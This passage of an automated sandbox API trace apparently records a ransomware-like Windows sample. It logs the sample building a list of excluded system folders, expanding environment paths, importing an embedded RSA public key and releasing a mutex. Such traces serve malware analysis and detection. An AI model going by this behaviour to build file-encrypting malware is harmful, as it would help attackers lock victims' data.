(HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1e8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c708) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d208) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c6c0) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d218) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c678) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d228) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c630) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d238) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5e8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d248) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x345058) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0188.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f8, cbMultiByte=25, lpWideCharStr=0x119dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dae0) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d248 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119db68) returned 1 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1b0, cbMultiByte=12, lpWideCharStr=0x119db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119db68) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d238 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dbf0) returned 1 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c168, cbMultiByte=8, lpWideCharStr=0x119dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dbf0) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d228 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dc78) returned 1 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c120, cbMultiByte=6, lpWideCharStr=0x119dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd00 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dc78) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d218 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd00) returned 1 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd00 [0188.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c240, cbMultiByte=11, lpWideCharStr=0x119dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd88 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd00) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119dd00 [0188.081] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d208 [0188.081] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119de28 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd88) returned 1 [0188.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119deb0 [0188.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c0d8, cbMultiByte=7, lpWideCharStr=0x119deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119df38 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119deb0) returned 1 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1e8 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119deb0 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119df38) returned 1 [0188.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119df38 [0188.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c288, cbMultiByte=11, lpWideCharStr=0x119df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dfc0 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119df38) returned 1 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1f8 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119df38 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dfc0) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d298) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc08) returned 1 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x342850 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.082] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.082] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x342850 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d618 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e8 [0188.083] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e8 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.083] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d298) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5e8) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e8) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d618) returned 1 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d618 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.084] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.084] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.085] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.085] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.085] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x342850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0188.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x342850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0188.085] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x342850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0188.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x342850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.085] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x342850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0188.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x342850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.085] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x342850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0188.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x342850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0188.086] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x2df730, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x2df730, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0188.086] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x347cf8, pcbBinary=0x2df730, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347cf8, pcbBinary=0x2df730, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0188.086] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x347cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x2df730 | out: pvStructInfo=0x0, pcbStructInfo=0x2df730) returned 1 [0188.090] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x347cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x347f40, pcbStructInfo=0x2df730 | out: pvStructInfo=0x347f40, pcbStructInfo=0x2df730) returned 1 [0188.090] CryptImportPublicKeyInfo (in: hCryptProv=0x63e3b8, dwCertEncodingType=0x10001, pInfo=0x347f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x347f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x347f78*, PublicKey.cUnusedBits=0x0), phKey=0x2df734 | out: phKey=0x2df734*=0x642368) returned 1 [0188.091] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x347f40) returned 1 [0188.091] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x347cf8) returned 1 [0188.091] ReleaseMutex (hMutex=0xa0) returned 1 [0188.091] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x345058) returned 1 [0188.091] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x345058 [0188.091] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c900 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c900) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x345058) returned 1 [0188.092] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x345058 [0188.092] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c900 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c900) returned 1 [0188.092] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c900 [0188.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.092] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e1e0 [0188.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c900, cbMultiByte=9, lpWideCharStr=0x119e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0188.092] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e268 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e1e0) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e268) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c900) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x345058) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.092] 